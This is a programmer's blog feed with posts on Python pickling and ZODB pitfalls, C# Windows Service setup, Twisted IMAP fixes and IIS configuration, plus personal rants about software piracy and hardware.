tag:blogger.com,1999:blog-27071080396651813502024-03-10T12:14:05.693-07:00codemagnetDear Malaysian programmers,
You need guidance? Msg me, if i can help you to the right footing i will.Unknownnoreply@blogger.comBlogger74125tag:blogger.com,1999:blog-2707108039665181350.post-42785960843995129082011-08-09T05:54:00.001-07:002011-08-09T05:54:27.566-07:00A dangerous Pitfall in using cPickle + import<p> </p> <p>Assuming you have a module : myfunc.py</p> <p><strong>from  defunc_single import *</strong></p> <p>And <strong>defunc_single</strong> have a class that is  :</p> <blockquote> <p><strong>class Hello :</strong></p> <p><strong>       def __init__ (self) :</strong></p> <p><strong>               self.name = “hello”</strong></p> </blockquote> <p>Now if you access this <strong>Hello</strong> via myfunc.py like this : </p> <p><strong>o = myfunc.Hello()</strong></p> <pre><strong><font face="Georgia">cPickle.dumps(o)</font></strong></pre><br /><br /><p>and write it using cPickle, the module <strong>defunc_single</strong> is also pickled into the file.</p><br /><br /><p>So that means along the way, if you felt that you wanted a new module : <strong>lovefunc_single.py</strong>  with a better <strong>Hello</strong> and you thought that you can just replace the import statement in <strong>myfunc.py</strong> to :</p><br /><br /><p><strong>from lovefunc_single import *</strong></p><br /><br /><p>The cPickle will <strong>fail  to load </strong>the existing data unless you stick to <strong>defunc_single.py</strong></p> Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-2707108039665181350.post-45133486283596305822011-07-29T00:20:00.001-07:002011-07-29T00:21:36.182-07:00Zodb : What you should know.<p> </p> <p>A programmer recently was dismissed for failing to produce satisfactory results after working on a project for 4 months. </p> <p>He told his employer that “zodb is just too hard”. </p> <p>Now i have a similar project that i am working on and decided to use Zodb for my storage. As usual i started to google for some quick examples and documentation.</p> <p>2 weeks into the project i realize that some of my data are not “persisting” as it should while it managed to fool the unit test . I wrote some small single modules to simulate the situation and realized that the same data are not persisting even though another variation of the same code does. </p> <p>To cut the story short, if you are doing or intend to use Zodb as your storage, just follow the rules below, forget whatever “friendly” samples you have seen, they just don’t reflect the issues that can arise :</p> <p><font color="#000000"><em>1. Any classes that you store in the Zodb, derive it from “Persistent”. </em></font></p> <p><em>Eg :</em></p> <blockquote> <p><font color="#c0504d"><em>from persistent import Persistent</em></font></p> <p><em><font color="#c0504d">class Whatever (Persistent) :</font></em></p> </blockquote> <p><font color="#000000"><em>2. Any dictionary or List that you want to store in Zodb, don’t bet on your luck, use the following wrappers.</em></font></p> <p><em><font color="#000000">If you want to store dict, use PersistentMapping</font></em></p> <p><em><font color="#000000">If you want to store list, use PersistentList</font></em></p> <blockquote> <p><font color="#c0504d"><em>from persistent.mapping import PersistentMapping</em></font></p> <p><font color="#c0504d"><em>from persistent.list import PersistentList</em></font></p> <p><font color="#c0504d"><em>root[secret_key] = PersistentMapping()</em></font></p> <p><font color="#c0504d"><em>root[secret_key][“mykey”] = “yada”</em></font></p> </blockquote> <p>3. The connection and root must be opened by the thread that wants to use it or only use 1 single thread</p> <blockquote> <p><font color="#c0504d">storage     = FileStorage(Path)</font></p> <p><font color="#c0504d">db          = DB(storage)        <br />             <br />connection  = db.open() <br /> root        = connection.root()</font></p> </blockquote> <p>while “storage” and “db” are shareable across threads, “connection” and “root” are not. Each new thread must do the “db.open()” and “connection.root()” call. </p> <p>Alternatively you can assign <strong>one single thread to do all the above</strong> opening of handles and <strong>access the “root” and “connection” freely among multi-threads</strong>, but you must ensure that “single thread” you assigned will be the <strong>same one closing the database. </strong></p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-66957689821620895132011-07-12T18:14:00.000-07:002011-07-12T18:16:28.117-07:00Irresponsible SharingIts pretty frustrating sometimes when you want some quick scripts to do your job and some of the given scripts are not only mediocre but non functioning.<br />
Today i had the urge to quickly backup a directory i have to a remote ftp, so i figured that surely someone must have written a python script on this! After 30 minutes of searching and looking around, i found :<br />
<a href="http://code.google.com/p/ftpsync2d/downloads/detail?name=ftpsync.py">http://code.google.com/p/ftpsync2d/downloads/detail?name=ftpsync.py</a><br />
<br />
But guess what, the code don't work on Windows. The bugs you get from it are very typical of newbie who have never coded in dual platform. For eg, it expect the path to be in "/" where else when it ran on windows it automatically converts to "\" and it bombed out on assertions.<br />
<br />
Dumb? No. Just typical and if i knew i gonna spend 30 minutes to do this i might as well fire-up my FTP client and do it.<br />
<br />
Gee guys/gals, if you want to post some codes and scripts on the Internet for the community, please at least raise its quality to an acceptable level. We have enough junk codes shared, we don't need any more of it, or the least, label the project that it only works on Linux/MAC/Windows.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-53893986326725583222010-11-12T12:59:00.001-08:002010-11-12T12:59:25.199-08:00twisted.web : rabbit’s hole<p>Finally i surrender. I switched one of my project totally off Twisted web. Using Twisted web is way too much work and pitfalls.</p> <p>The only way to use Twisted web is that you use it in the very first place. </p> <p>If you are starting a project involving building a simple http server, just avoid twisted .</p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-22560779887219442812010-11-02T08:18:00.001-07:002010-11-02T08:25:14.444-07:00Once again…Tutorial for poor souls : C# Windows Service<p> </p> <p>Looking at some of the tutorials online, i am once again baffled on how ridiculous “google” results are on creating Windows Service for C#.</p> <p>I wonder where these people get the ideas from posting such advice and tutorial that hardly works but is confusing. If you refer to my other rants on multi-language .NET and calling C dll you will see what i mean.</p> <p>Anyway here is how u do it. If you find reading it confusing, take a glance at the snapshots below.</p> <p>1. I assume you are using VS 2010 and C#</p> <p>2. Start a new project, select windows Service.</p> <p>3.You will see 2 class, click on the tab with the word “designer”, right click “properties”.  Select <strong>“Add Installer”</strong></p> <p>4. You will get ProjectInstaller.cs. Click on the tab with <strong>“ProjectInstaller.cs [Design]”</strong> and click on the <strong>“serviceinstaller1”</strong> and on the lower right “Solution Explorer” you will see the properties. Set the <strong>“ServiceName” </strong>to any name u want to be used as the service name (the Service Name that appears when u right-click on any services in the services control panel properties). The service name here is the one that will be used not the one you see on the other service class that was created when u created this project (in 1st screen shot, the properties u see there, that service name is not the one that will appear or use in the actual services)</p> <p>5. Set the Display Name to the name you WANT to see shown in the list of services in the Services control panel (services.msc)</p> <p>6. Click on <strong>“ServiceProcessInstaller1”</strong> and Set the <strong>“Account” </strong>to the LocalSystem. If you don’t do this, you will get some stupid pop-up asking you to key in the username and password to use for running this service as that user.</p> <p>7.Now all you need to do is to fill up your actual Service1.cs’s “OnStart” and “OnStop” with whatever routines you want to run and stop as a service.</p> <p>8. Copy Installutil.exe from c:\windows\microsoft.net\framework\v2.0xxxxx to c:\windows</p> <p>9. Run the command prompt / cmd as “Administrator” and goto where your .EXE is built and run <strong>“installutil xxxxx.exe”</strong> to install it.</p> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYq2Om5twK6ZhSaW78GzweLK-i-NBi4rnmmAlNH_Fh2ZSFpcPJGQu5D_82Q2ttwDX8d-wKRli67QwnEfp2RmnEa9HOf4pg2WHj85P4EiEaJ4_SIMoeF2PU89CuzimXoKhE1KRn-e_HlWY/s1600-h/service%5B3%5D.jpg"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="service" border="0" alt="service" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTHEuGddzgeiO8VhPiSpN8ktaOiqX2DTMmUbWIhuawM5_q6_r9ETFTScUuLaVW3LHcLypKE_7gUR9S7aREnmp8U84yyNEGdb3QGUXb1vPYQ6WzBPcvt9Sukp_mvmOMXAKHlODVDC_dQdo/?imgmax=800" width="1028" height="547" /></a></p> <p> </p> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDHsQxAmPS2-hM5khLIzQSDphbVTKFY4gou6znxc-mGDcXKHDI7mzzs_eWEPUYOk4Jr2oir_ZSu-8o7ToduSpN2ScBdiA3xFj4oah738w6wXuJi6TKKbM_B71xhQkVWBU50lW7f0YqdNs/s1600-h/serviceprocessintaller%5B3%5D.jpg"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="serviceprocessintaller" border="0" alt="serviceprocessintaller" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-s1sOYH1989rvRfE8CW8bDTk6Lu1nqBXZBrD907v5uYu2pIgqEDWnI5bgVPjVKne-q6-NU0XGz9D_zDEE_kD7sxox9SAOgvyl638Ik9BQgrhLZ5Jl94grhACPY9RPOIfVr1IsmdEzooc/?imgmax=800" width="1028" height="547" /></a></p> <p> </p> <p> </p> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtXuEUQIlLShdvPtdOXVEYA0D3TY5AS5sC1lO_sw1owPVB9Dnaaq9eY3e98S3wRFMNUTQbjeAssE1ULHWPAd02hT9I4Wmr7iakTqN6h6w3cDkIhHvajxa4tMwpyJd9MKQ-tTtZ5ENTrKs/s1600-h/serviceprocessintaller-last%5B5%5D.jpg"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="serviceprocessintaller-last" border="0" alt="serviceprocessintaller-last" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsmdQPYaI6KX6jkXbsGg0j-xD0kxc6GLyu_x6Kb-kZawM2yWkJq-zeK0iW_ZJ-TS21kFr5yevtxeRADXgX9I06XAsJs0HLl0_T7Ya-YHfawqq856u5pssjgQ-naMtgIEcht7b4WHtlKAo/?imgmax=800" width="1028" height="547" /></a></p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-57248273023544755732010-10-16T06:02:00.001-07:002010-10-16T06:02:02.631-07:00Twisted IMAP4.py is long way from practical use<p> </p> <p>I have been trying to get imap bodystructure working to please all the clients i could get my hands on. So far the twisted imap (10.1.0) performed badly esp when you need it to work with Outlook + Outlook Express + ThunderBird + IPhone + RoundCube. </p> <p>Yeah, Imap as i mentioned many times even in Pycon Singapore, is a hell of protocol of email. Many flags like “recent” of “draft” are just outdate and should not even be used…</p> <p>JP Calderone wrote in the source :</p> <p># XXX - This does not properly handle multipart messages <br /># BODYSTRUCTURE is obscenely complex and criminally under-documented.</p> <p>I had to resort to write an imap unit test that will test the reply from 2 servers and compare them and make changes from there to fix the imap4 bodystructure response.</p> <p>The unit test tool helped a lot, i had to tweak various replies, for eg handling application attachment when they appear in mime attributes. </p> <p>@ I got it working correct and tested with all the clients mentioned above with all kinds of attachment and sizes.</p> <p>Source: (a fixed imap4 reply) <br />('OK', [('3 (BODY[HEADER] {513}', 'User-Agent: Thunderbird 2.0.0.24 (Windows/201 <br />00228)\r\nTo: Undisclosed <marcus@internetnow.com.my>\r\nSubject: marcus\r\nRetu <br />rn-Path: <marcus2@internetnow.com.my>\r\nReceived: from [192.168.17.1] ([127.0.0 <br />.1]) by Tool-Box.internetnow.com.my (MailNow! 5); Sat, 16 Oct 2010 19:50:55 +080 <br />0\r\nMime-Version: 1.0\r\nMessage-Id: <4CB95DC2.3040201@internetnow.com.my>\r\nF <br />rom: Marcus <marcus@internetnow.com.my>\r\nDate: Sat, 16 Oct 2010 16:09:38 +0800 <br />\r\nContent-Type: multipart/mixed; boundary="------------03060008020007080806070 <br />7"\r\n\r\n'), (' BODY[1.MIME] {100}', 'Content-Type: text/plain; charset="ISO-88 <br />59-1"; format="flowed"\r\nContent-Transfer-Encoding: 7bit\r\n\r\n'), (' BODY[2.M <br />IME] {200}', 'Content-Type: application/vnd.ms-excel; name="04June2010 - Problem <br /> &  Solution.xls"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: i <br />nline; filename="04June2010 - Problem &  Solution.xls"\r\n\r\n'), ')']) <br /></p> <p>Dest: (reply from SmarterMail, a ‘correct’ server) <br />('OK', [('6 (BODY[HEADER] {769}', 'Return-Path: <marcus@internetnow.com.my>\r\nR <br />eceived: from 132.115.in-addr.arpa [115.132.75.110] by hs4.thehosting2u.com with <br /> SMTP;\r\n   Sat, 16 Oct 2010 19:56:44 +0800\r\nReceived: from [127.0.0.1] ([127 <br />.0.0.1]) by Tool-Box.internetnow.com.my (MailNow! 5);\r\n    Sat, 16 Oct 2010 16 <br />:09:43 +0800\r\nMessage-ID: <4CB95DC2.3040201@internetnow.com.my>\r\nDate: Sat, <br />16 Oct 2010 16:09:38 +0800\r\nFrom: Marcus <marcus@internetnow.com.my>\r\nUser-A <br />gent: Thunderbird 2.0.0.24 (Windows/20100228)\r\nMIME-Version: 1.0\r\nTo: Undisc <br />losed <marcus@internetnow.com.my>\r\nSubject: marcus\r\nContent-Type: multipart/ <br />mixed;\r\n   boundary="------------030600080200070808060707"\r\nX-MN-SPAM-DTL: s <br />pam=0, scr=0, ver=\r\nX-Rcpt-To: <marcus@internetnowasp.net>\r\nX-SmarterMail-Sp <br />am: Bayesian Filtering, SPF_None\r\n\r\n'), (' BODY[1.MIME] {100}', 'Content-Typ <br />e: text/plain; charset="ISO-8859-1"; format="flowed"\r\nContent-Transfer-Encodin <br />g: 7bit\r\n\r\n'), (' BODY[2.MIME] {208}', 'Content-Type: application/vnd.ms-exc <br />el;\r\n   name="04June2010 - Problem &  Solution.xls"\r\nContent-Transfer-Encodi <br />ng: base64\r\nContent-Disposition: inline;\r\n   filename="04June2010 - Problem <br />&  Solution.xls"\r\n\r\n'), ')'])</p> Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-2707108039665181350.post-47509274027432192252010-09-06T03:33:00.001-07:002010-09-06T03:35:08.125-07:00Windows Service : Mystery of the Slow startup<p>I have this .NET service application that is always reported in EventViewer to be “not responding” or takes too long to start. </p> <p>The problem occurs only when a reboot is done. If the service was stop/start after reboot the speed is normal but if it starts automatically after reboot it takes around 90 seconds just to get it started.</p> <p>The app main task is just start a webserver and connects to it. </p> <p>So here is the condition :</p> <p>Starting the service manually after the reboot = fine</p> <p>First time auto starting after reboot = 90 seconds delay and reported to be “not responding” or hang, but runs fine .</p> <p>I have nailed the culprit to WebClient!  Thats right, using WebClient in your . NET code as a service will result in it starting up slowly, this might have to do with the possibility that System.Net.WebClient uses the shared components  of IE and also its host of registry entries. This is SUPER SLOW when you reboot the first time. </p> <p>Solution : i wrote my own TCP code to mimic WebClient and discard using WebClient in a Service app. </p> <p>Case  close.</p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-84116941684781212382010-08-30T00:47:00.001-07:002010-08-30T00:47:32.378-07:00IronPython : the future…<p> </p> <p>As a developer who focuses more on development  for Windows platform but loved the power of Python, one can’t help but to keep a tab on the development  of IronPython. </p> <p>I made myself a clear conditional “breakpoint” that when i do see IronPython officially supported in Visual Studio releases, i would use IronPython for my Windows development. </p> <p>Its been some time  since i have waited with much hope to such a release only to be greeted by some semi-1.1 released of sample Visual studio integration and that obsolete VS isolated integration sample still hosted in codeplex. </p> <p>The latest as of this writing is Python2.7 Alpha one that comes with some free tools to make the IDE 2010 works with IronPython.</p> <p>I also came across this article :</p> <p><a href="http://blog.jimmy.schementi.com/2010/08/start-spreading-news-future-of-jimmy.html">http://blog.jimmy.schementi.com/2010/08/start-spreading-news-future-of-jimmy.html</a></p> <p>And (one of the guys who wrote about using VIM with python as IDE comment)</p> <blockquote> <p><dt><a href="http://blog.dispatched.ch">Alain M. Lafon</a> said... </dt></p> <dd> <p>I read this on the weekend just before I wanted to adopt IronPython into our company. It was supposed to make C# obsolete. <br />Well.. what can I say. It sucks to use any M$ tech. I should stick to OSX and Linux and leave my current employer due to strict use of M$ tech. <br />Sorry to say that man, but your story reads just like that to me. <br />I want to thank you for your great work, though. And I wish you all the best for your NY future(;</p> </dd></blockquote> <p>Now back to my Cpython on WingIDE….</p> Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-2707108039665181350.post-18839355387236217962010-05-15T03:23:00.001-07:002010-05-15T03:23:26.550-07:00PythonNet and PythonService.exeWell folks, just a week ago i was happy to discover PythonNet. Unfortunately it doesn't work<br />when its running under PythonService.exe which is the most natural way to run python as services as coded by Mark.<br /><br />It runs fine in 32 bit Os, but the moment i tried it on Windows 2008 64 bit, it just terminated unexpectedly. The problem lies with the statement "import clr". i have exhausted all ways to get this working without writing my own pythonservice replacement and i conclude that its not usable<br />except for writing standalone tools that client need to manually click on or run by the scheduler.<br /><br />Running the same program on a 64 bit OS manually works!, so the problem could lie in the<br />way python.runtime.dll is loaded by pythonservice.exe on "import clr". <br /><br />Meanwhile, life goes on :-(, its back to .COM in .NET whenever we need Python to use certain calls to an existing .NET library.<br /><br /><br /><br /> <div class="flockcredit" style="text-align: right; color: #CCC; font-size: x-small;">Blogged with the <a href="http://www.flock.com/blogged-with-flock" style="color: #999; font-weight: bold;" target="_new" title="Flock Browser">Flock Browser</a></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-4729067158523735262010-05-04T10:06:00.001-07:002010-05-04T10:06:29.206-07:00python and .net – unlikely symbiosis<p> </p> <p>If you love python and want to use all the libraries of python but you also need to work on .NET projects. You might be tempted to look at IronPython…but unless MS openly supports IronPython in VS and also all those libraries that makes Python such a kick ass language, you should skip it.</p> <p>On the other hand, I found “pythonnet”, this is probably one of the best answer on using python and .net .  </p> <p><a href="http://pythonnet.sourceforge.net/readme.html">http://pythonnet.sourceforge.net/readme.html</a></p> <p>All you need to do is copy the clr.pyd file to ur python installation directory and also the python.runtime.dll file and you can do things  like …</p> <p>import clr <br />import System.Windows.Forms as WinForms <br />from System.Drawing import Color, Size, Point <br />from System.Text import Encoding <br />from System.IO import File <br />import System </p> <p>class Wordpad(WinForms.Form): <br />    """A simple example winforms application similar to wordpad."""</p> <p>…</p> <p> </p> <p>Cool like hell!.</p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-2707108039665181350.post-10923155521062794932010-04-13T09:05:00.000-07:002010-04-13T09:17:26.217-07:00IIS 6 & 7 running 32 bit .NET applicationsCorflags.exe<div>Does this executable filename sounds familiar to you? Its unbelievable how ridiculous the error message given by IIS when you happened to be deploying 32 bit .NET webapps on a 64 bit machine.</div><div>It says something along the line of : <span class="Apple-style-span" style="color:#FF6600;">An attempt to was made to load a program with an incorrect format.</span></div><div>Gee, one would have thought that error messages like "Unable to load 32 bit applications in 64 bit IIS with current settings" would make more sense and spare the poor developers some dead brain cells.</div><div><br /></div><div>For IIS6, the solution was to run 2 command line that does 2 things :-</div><div>1. Enable32BitAppOnWin64</div><div>2. Register the 32bit version of aspnet_regiis -i -enable</div><div>( you can find the complete instruction by googling the keywords above)</div><div><br /></div><div>For IIS7, the solution is to do step (1) but not with a command line, rather with</div><div>the IIS configuration UI where you can find the app pool settings.</div><div><br /></div><div>I did write a python script that does that fix for II6, will be posting this later on this blog.</div><div><br /></div><div><br /></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-72339784078166401412010-03-31T05:10:00.001-07:002010-03-31T05:11:14.398-07:00Death of Game writers : Stupid pirates<p>What got me hooked into programming was this idea i had when i was 13, to write a game. Anyway that never happen and i ended up writing commercial system applications.</p> <p>Recently i visited Sg and got myself an original TitanQuest : Immortal Throne (expansion set), i played the Titan Quest few years back and wasn’t aware of the expansion set so at SGD 28 , it was a bargain.</p> <p>I was curious about the developers of that game and was surprised it has folded. Here is a msg taken from one of the company’s top guy “Iron Lore” :</p> <p> </p> <p>Quote:</p> <blockquote> <p>Originally Posted by <b>Micheal Fitch</b> <br />Greetings: <br />So, ILE shut down. This is tangentially related to that, not why they shut down, but part of why it was such a difficult freaking slog trying not to. It's a rough, rough world out there for independent studios who want to make big games, even worse if you're single-team and don't have a successful franchise to ride or a wealthy benefactor. Trying to make it on PC product is even tougher, and here's why.</p> <p> <br /><b>Piracy</b> <br />Piracy. Yeah, that's right, I said it. No, I don't want to re-hash the endless "piracy spreads awareness", "I only pirate because there's no demo", "people who pirate wouldn't buy the game anyway" round-robin. Been there, done that. I do want to point to a couple of things, though. <br />One, there are other costs to piracy than just lost sales. For example, with TQ, the game was pirated and released on the nets before it hit stores. It was a fairly quick-and-dirty crack job, and in fact, it missed a lot of the copy-protection that was in the game. One of the copy-protection routines was keyed off the quest system, for example. You could start the game just fine, but when the quest triggered, it would do a security check, and dump you out if you had a pirated copy. There was another one in the streaming routine. So, it's a couple of days before release, and I start seeing people on the forums complaining about how buggy the game is, how it crashes all the time. A lot of people are talking about how it crashes right when you come out of the first cave. Yeah, that's right. There was a security check there.</p> <p> <br />So, before the game even comes out, we've got people bad-mouthing it because their pirated copies crash, even though a legitimate copy won't. We took a lot of **** on this, completely undeserved mind you. How many people decided to pick up the pirated version because it had this reputation and they didn't want to risk buying something that didn't work? Talk about your self-fulfilling prophecy. <br />One guy went so far as to say he'd bought the retail game and it was having the exact same crashes, so it must be the game itself. This was one of the most vocal detractors, and we got into it a little bit. He swore up and down that he'd done everything above-board, installed it on a clean machine, updated everything, still getting the same crashes. It was our fault, we were stupid, our programmers didn't know how to make games - some other guy asked "do they code with their feet?". About a week later, he realized that he'd forgotten to re-install his BIOS update after he wiped the machine. He fixed that, all his crashes went away. At least he was man enough to admit it. <br />So, for a game that doesn't have a Madden-sized advertising budget, word of mouth is your biggest hope, and here we are, before the game even releases, getting bashed to hell and gone by people who can't even be bothered to actually pay for the game. What was the ultimate impact of that? Hard to measure, but it did get mentioned in several reviews. Think about that the next time you read "we didn't have any problems running the game, but there are reports on the internet that people are having crashes." <br />Two, the numbers on piracy are really astonishing. The research I've seen pegs the piracy rate at between 70-85% on PC in the US, 90%+ in Europe, off the charts in Asia. I didn't believe it at first. It seemed way too high. Then I saw that Bioshock was selling 5 to 1 on console vs. PC. And Call of Duty 4 was selling 10 to 1. These are hardcore games, shooters, classic PC audience stuff. Given the difference in install base, I can't believe that there's that big of a difference in who played these games, but I guess there can be in who actually payed for them.</p> <p> <br />Let's dig a little deeper there. So, if 90% of your audience is stealing your game, even if you got a little bit more, say 10% of that audience to change their ways and pony up, what's the difference in income? Just about double. That's right, double. That's easily the difference between commercial failure and success. That's definitely the difference between doing okay and founding a lasting franchise. Even if you cut that down to 1% - 1 out of every hundred people who are pirating the game - who would actually buy the game, that's still a 10% increase in revenue. Again, that's big enough to make the difference between breaking even and making a profit. <br />Titan Quest did okay. We didn't lose money on it. But if even a tiny fraction of the people who pirated the game had actually spent some god-damn money for their 40+ hours of entertainment, things could have been very different today. You can bitch all you want about how piracy is your god-given right, and none of it matters anyway because you can't change how people behave... whatever. Some really good people made a seriously good game, and they might still be in business if piracy weren't so rampant on the PC. That's a fact.</p> <p> <br /><b>Hardware</b> <br />Enough about piracy. Let's talk about hardware vendors. Trying to make a game for PC is a freaking nightmare, and these guys make it harder all the time. Integrated video chips; integrated audio. These were two of our biggest headaches. Not only does this crap make people think - and wrongly - that they have a gaming-capable PC when they don't, the drive to get the cheapest components inevitably means you've got hardware out there with little or no driver support, marginal adherence to standards, and sometimes bizarre conflicts with other hardware. <br />And it just keeps getting worse. CD/DVD drives with bad firmware, video cards that look like they should be a step-up from a previous generation, but actually aren't, drivers that need to be constantly updated, separate rendering paths for optimizing on different chips, oh my god. Put together consumers who want the cheapest equipment possible with the best performance, manufacturers who don't give a **** what happens to their equipment once they ship it, and assemblers who need to work their margins everywhere possible, and you get a lot of shitty hardware out there, in innumerable configurations that you can't possibly test against. But, it's always the game's fault when something doesn't work. <br />Even if you get over the hump on hardware compatibility - and god knows, the hardware vendors are constantly making it worse - if you can, you still need to deal with software conflicts. There are a lot of apps running on people's machines that they're not even aware of, or have become such a part of the computer they don't even think of them as being apps anymore. IM that's always on; peer-to-peer clients running in the background; not to mention the various adware and malware crap that people pick up doing things they really shouldn't. Trying to run a CPU and memory heavy app in that environment is a nightmare. But, again, it's always the game's fault if it doesn't work.</p> <p> <br /><b>Audience</b> <br />Which brings me to the audience. There's a lot of stupid people out there. Now, don't get me wrong, there's a lot of very savvy people out there, too, and there were some great folks in the TQ community who helped us out a lot. But, there's a lot of stupid people. Basic, basic stuff, like updating your drivers, or de-fragging your hard drive, or having antivirus so your machine isn't a teetering pile of rogue programs. PC folks want to have the freedom to do whatever the hell they want with their machines, and god help them they will do it; more power to them, really. But god forbid something that they've done - or failed to do - creates a problem with your game. There are few better examples of the "it can't possibly be my fault" culture in the west than gaming forums.</p> <p> <br /><b>Reviews</b> <br />And while I'm at it, I don't want to spare the reviewers either. We had one reviewer - I won't name names, you can find it if you look hard enough - who missed the fact that you can teleport from wherever you are in TQ back to any of the major towns you've visited. So, this guy was hand-carting all of his stuff back to town every time his inventory was full. Through the entire game. Now, not only was this in the manual, and in the roll-over tooltips for the UI, but it was also in the tutorial, the very first time you walk past one of these giant pads that lights up like a beacon to the heavens. Nonetheless, he missed it, and he commented in his review how tedious this was and how much he missed being able to portal back to town. When we - and lots of our fans - pointed out that this was the reviewer's fault, not the game's, they amended the review. But, they didn't change the score. Do you honestly think that not having to run back to town all the time to sell your stuff wouldn't have made the game a better experience?</p> <p> <br />We had another reviewer who got crashes on both the original and the expansion pack. We worked with him to figure out what was going on; the first time, it was an obscure peripheral that was causing the crash, a classic hardware conflict for a type of hardware that very, very few people have. The second time, it was in a pre-release build that we had told him was pre-release. After identifying the problem, getting him around it, and verifying that the bug was a known issue and had been fixed in the interim, he still ran the story with a prominent mention of this bug. With friends like that... <br />Alright, I'm done. Making PC products is not all fun and games. It's an uphill slog, definitely. I'm a lifelong PC gamer, and hope to continue to work on PC games in the future, but man, they sure don't make it easy. <br />Best, Mike</p> </blockquote> <p>Are you are software pirate user? Congrats, u just killed another great software company. Stealing software and stealing diamond is the result of the same criminal will. There is really no difference except its harder to catch the former.</p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-21155117481765580822010-02-19T09:41:00.001-08:002010-02-19T09:41:48.003-08:00Programmer’s Friend : Suunto T1<p>Its common knowledge that programmers tend to sit long hours in front of the computer and have next to zero amount of sports activity. Esp in countries like Malaysia or Thailand, jogging outside your house tantamount to suicide, given the kind emission rules around here.</p> <p>Thus, its very important that programmers stays fit and indoor exercise is something that you don’t like but u need it gravely.</p> <p>I found a real cheap way to exercise in house, get a Suunto T1 watch and that is basically your “profiler” so whatever “unit test” you do to your body, the T1 will profile and show you if what you did is indeed “enough” or your just fooling yourself.</p> <p>With this watch, you can buy those much cheaper exercise equipment that does not comes with yet another heart rate monitor and i can tell you, the T1 and the belt gives the most accurate monitoring anyway.</p> <p>Basically its a heart rate monitor that allows personalized settings like age, weight, height so that it can recommend a suitable heart rate that you should achieved and work on. </p> <p>Recently after changing both the batteries on the watch and the strap i realize its no longer functioning. The website FAQ says “code not found” is bad news and i need to reset the belt and try again.</p> <p>Well, here is something that the manual and website didn’t tell you.</p> <p>You need to change the batteries in the BELT FIRST, before you change the batteries in the WATCH.  By doing this sequence, the watch will figure out that it needs to find the belt with a new code and will accept whatever code the belt is sending out.</p> <p>Now, go on …run the unit test. </p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-2707108039665181350.post-29783981301477786002010-02-15T12:57:00.001-08:002010-02-15T18:16:03.780-08:00Vcds , dvds , blueray n bookstoresThings are sure looking bleak for video shops in malaysia . It takes just around 4 hours to download a movie via torrent .<br /><br />Apart from piracy issues, here are some facts that seems to highlight the gloomy outlook of such businesses in Malaysia .<br /><br />- dl movies have even better translation than the localized originals here . Look at Bleach for eg , the xxxbayo dls translations are better<br /><br />- lousy quality on localized original. I buy original as much as I can . Its pretty disappointed that some cheap originals have utterly inferior quality . Take Twilight for eg , that local company that produce it is terrible . The show is lacking in contrast and has smudged colors . A friend of mine who decides to dl got a much better quality.<br /><br />- Malaysian censorship . Dl movies are not censored , the local rebranded originals are. Nobody likes a tampered original . <br /><br />I guess bookstores are finding it hard to survive too with all those ebooks illegal copies floating around and the crappy moral values of the new generation that believes anything u can dl for free is ok since u don't get caught aka stealing.<br /><br />Its a repulsive sight to see how some would just take up magazines and read it all the way without buying . Some folks even mishandled mags n books while reading so much so that no one would buy it at that condition.<br /><br />Duh...<br /><br />(Synced via BlackBerry->MailNow! 5)Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-28856255085396278312010-01-14T07:56:00.001-08:002010-01-14T07:56:58.331-08:00Inspiration + programmer<p>I admit sometimes i feel darn old and tired of programming. All these Malaysia boleh and after 11 years of starting my company i have not succeeded in getting my product out in a big way to the world. Yes it sold well in Malaysia and i exported some of my work in component to Europe, but the product as a whole by me and my team is not exporting. </p> <p>I need inspiration and i need it badly.</p> <p>Thank God…last week i stumble accidently on my answer. Its a watch. What has a watch gotto do with my line of work?Everything.</p> <p>For one, you see all watches does more or less the same thing and yet each company behind those brands manages to export and have its own customers and loyal followings. In today’s world, you will have to strike lottery to be doing a software that someone else does not have or works similarly. </p> <p>Second, watches is about craftsmanship, material, engineering and technology . Technology however is limited only to certain brand of watches . Needless to say watches that markets only on heritage and brand has zero inspiration to me. </p> <p>If the watches companies could survive and yet make a good living out of it and export to the whole world, i reckon i could too. That is the first line of inspiration i found.</p> <p>The best watch company that have the right ethos and philosophy is Casio G-Shock. Yeah sure its no prestigious bs and ego marketing, but hell the inspiration that G-shock provides is everything i needed to get my product in line.</p> <p>If i could get our product in line with the Casio G-shock (g-shock.jp) …see that red text on the right in that site….yes that is what i want to do .</p> <p>Shock the World.</p> <p>Right now as i am typing this, i am wearing a G-shock 1500bd, stainless steel black strap . Yes, i am fully inspired to continue my journey in programming and steer my company and products using this philosophy. Build it bloody solid, anti-fragile, works like clockwork and loads of technology. Heck this thing does 200 meters water resistance while something that cost 10x is doing less.</p> <p><img src="http://g-shock.jp/stw/download/img/wallpaper08_1024x768.jpg" /></p> 